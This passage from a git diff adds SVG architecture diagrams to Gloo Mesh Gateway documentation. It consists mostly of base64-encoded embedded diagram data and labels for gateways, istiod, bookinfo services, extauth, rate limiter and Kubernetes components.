5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZ